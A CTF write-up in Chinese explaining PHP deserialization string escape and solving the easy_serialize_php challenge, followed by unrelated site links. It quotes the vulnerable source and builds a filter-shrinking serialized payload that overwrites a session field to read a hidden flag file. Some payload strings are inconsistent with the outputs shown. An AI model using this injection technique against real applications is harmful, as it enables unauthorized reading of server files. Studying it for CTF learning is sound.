php反序列化字符串逃逸

字符串逃逸

字符串逃逸是通过改变序列化字符串的长度造成的php反序列化漏洞

一般是因为替换函数使得字符串长度发生变化,不论变长还是变短,原理都大致相同

在学习之前,要先了解序列化字符串的结构,在了解结构的基础上才能更好理解要输入多少被过滤的字符串

用例题的序列化字符串来分析一下吧(字符串变短的情况):

这是序列化后的字符串,过滤的是php,flag

function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 目标是img,其中是一个需要读取的php页面的base64编码,需要绕过php的过滤,因为flag会被替换为空,那么就可以利用替换为空时的引号进行闭合来包含需要绕过的地方,相当于把原本不会被过滤的一个位置置空,将需要绕过的地方放到不会被不会被过滤的地方

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//当flag被替换为空后是这样的(这里我用#代替空方便查看)
a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a#";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样一来被#包裹的字符串就成了user的属性值,那么function的位置就被#后面的字符串占据
在序列化的字符串中;}代表的是结束,所以第一个;}后面的字符串就是被丢弃的
s:2:"dd";s:1:"a",这部分字符串是自己添加的,因为有一个属性消失了,但是原本的属性数量是三个,所以添加一个,保持数量不变,否则会报错

[安洵杯 2019]easy_serialize_php

打开环境,点击source看见源码

 <?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
} 

代码里面提示在phpinfo里面可能有我们想要的,访问看看,有个flag.php想办法访问(auto_append_file在所有页面底部自动包含文件,所以自动包含了这个文件)

 有两个关键的部分

function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

第一,替换函数会匹配$img中的php,flag等字符串替换为空;

第二,当function=='shou_image'时,会读取$userinfo的值,参数为img

我们需要访问读取的页面是后缀为php,如果直接放在img中就会存在过滤,所以要利用替换函数进行字符串逃逸,使得目标页面能够成功读取

开始构造payload

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 进行序列化后,通过分析我们需要把img的属性值放在function的位置来执行,这样既满足了img为参数,也绕过了替换函数,就是相当于我们吞掉了function,那么因为之前有三个属性,所以我们需要在添加一个属性,否则就会执行失败(注意属性长度要一致,不然过滤后,如果引号不能闭合会报错)

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));

 

进行传参

 

把/d0g3_fllllllag进行base64编码

 PS:

在构造这部分时我自己出现了点问题

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));

对于function的赋值,起初我的赋值是

";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1;"b";s:"2":"bb"}'

 但是这样的赋值是报错的

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

 因为这样的赋值会导致序列化后出现两个引号中间为空,那么引号的闭合也就出现了问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/651916.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ubuntu22 部署fastDFS单节点和集群,整合Spring Boot(刚部署成功)

ubuntu22 部署fastDFS单节点和集群 一、先准备1、所需依赖安装2、下载安装包 二、安装FastDFS单节点1、libfastcommon安装1.1、创建软连接 2、安装fastDFS2.1、fastDFS目录简单介绍2.2、创建软连接 3、配置和启动Tracker服务3.1、修改Tracker配置文件3.2、启动Tracker 4、配置和…

DS进阶:并查集

一、并查集的原理 在一些应用问题中&#xff0c;需要将n个不同的元素划分成一些不相交的集合。开始时&#xff0c;每个元素自成一个单元素集合&#xff0c;然后按一定的规律将归于同一组元素的集合合并。在此过程中要反复用到查询某一个元素归属于那个集合的运算。适合于描述这…

配置opencv属性表

编译opencv cmake -DCMAKE_INSTALL_PREFIX./install -G "Visual Studio 15 2017" -A x64 .. cmake -DCMAKE_INSTALL_PREFIX./install -G "Visual Studio 15 2017" -A Win32 ..cmake --build . --config Release -j 2cmake --build . --config Release --t…

滴水逆向 FileBuffer-ImageBuffer 课后作业

1)- 实现如下功能 #include<stdio.h> #include<stdlib.h> #include<windows.h> BYTE* bufferApply nullptr;//将磁盘文件复制到内存中后, 使用bufferApply指向该空间 DWORD fileSize 0;//将磁盘文件复制到内存时使用需要申请空间, 使用fileSize设置申请空…

Netty 应用与原理

更好的阅读体验 \huge{\color{red}{更好的阅读体验}} 更好的阅读体验 Java IO 模型 本篇示例代码仓库&#xff1a;learn-netty 基础概念 在 I/O 操作中有这么两组概念&#xff0c;其中同步/异步 要和线程中的同步线程/异步线程要区分开&#xff0c;这里指的是同步IO / 异步IO…

ChuanhuChatGPT集成百川大模型

搭建步骤&#xff1a; 拷贝本地模型&#xff0c;把下载好的Baichuan2-7B-Chat拷贝到models目录下 修改modules\models\base_model.py文件&#xff0c;class ModelType增加Baichuan Baichuan 16 elif "baichuan" in model_name_lower: model_type ModelType.Ba…

MySQL双层游标嵌套循环方法

文章目录 1、需求描述2、思路3、创建存储过程 1、需求描述 1、在项目中&#xff0c;需要将A表中主键id&#xff0c;逐个取出&#xff0c;作为条件&#xff0c;在B表中去逐一查询&#xff0c;将B表查询到的结果集&#xff08;A表B表关系&#xff1a;一对多&#xff09;&#xf…

upload-labs通关

前记&#xff1a; 在这里面我们使用一句话木马时使用php里的一个函数phpinfo&#xff08;&#xff09;&#xff0c;该函数能显示出网页具体的php版本和有关的信息。 pass-01&#xff08;js前端验证&#xff09; 方法1&#xff1a;禁用js/删除js验证 1.禁用js 按f12&#xff…

MySQL/MariaDB 如何查看当前的用户

MySQL 的所有数据库用户信息是存储在 user 数据表中的。 可以在登录成功数据后运行 SQL&#xff1a; MariaDB [(none)]> select user,host from user;就可以查看到数据中的所有用户信息。 MariaDB [(none)]> select user,host from user; ERROR 1046 (3D000): No databa…

笔记:编写程序,分别采用面向对象和 pyplot 快捷函数的方式绘制正弦曲线 和余弦曲线。 提示:使用 sin()或 cos()函数生成正弦值或余弦值。

文章目录 前言一、面向对象和 pyplot 快捷函数的方式是什么&#xff1f;二、编写代码面向对象的方法&#xff1a;使用 pyplot 快捷函数的方法&#xff1a; 总结 前言 本文将探讨如何使用编程语言编写程序&#xff0c;通过两种不同的方法绘制正弦曲线和余弦曲线。我们将分别采用…

美国洛杉矶站群服务器如何提高网站排名?

美国洛杉矶站群服务器怎么样?美国洛杉矶站群服务器如何提高网站排名?Rak部落小编为您整理发布美国洛杉矶站群服务器如何提高网站排名? 美国洛杉矶站群服务器可以通过以下几种方式帮助提高网站排名&#xff1a; - **提升网站性能**&#xff1a;美国站群服务器通常配备高速CPU…

cocos-lua资源管理

本文介绍cocos-lua项目的资源管理和工作流&#xff0c;适用人群包括初学者和有经验开发者&#xff0c;故读者可根据自己的需要有选择性的查阅自己需要的内容 一.简单案例解析 下文通过介绍一个简单demo&#xff0c;介绍合图和资源目录结构 1.1 运行效果 1.2 ccs结构 1.3 目录…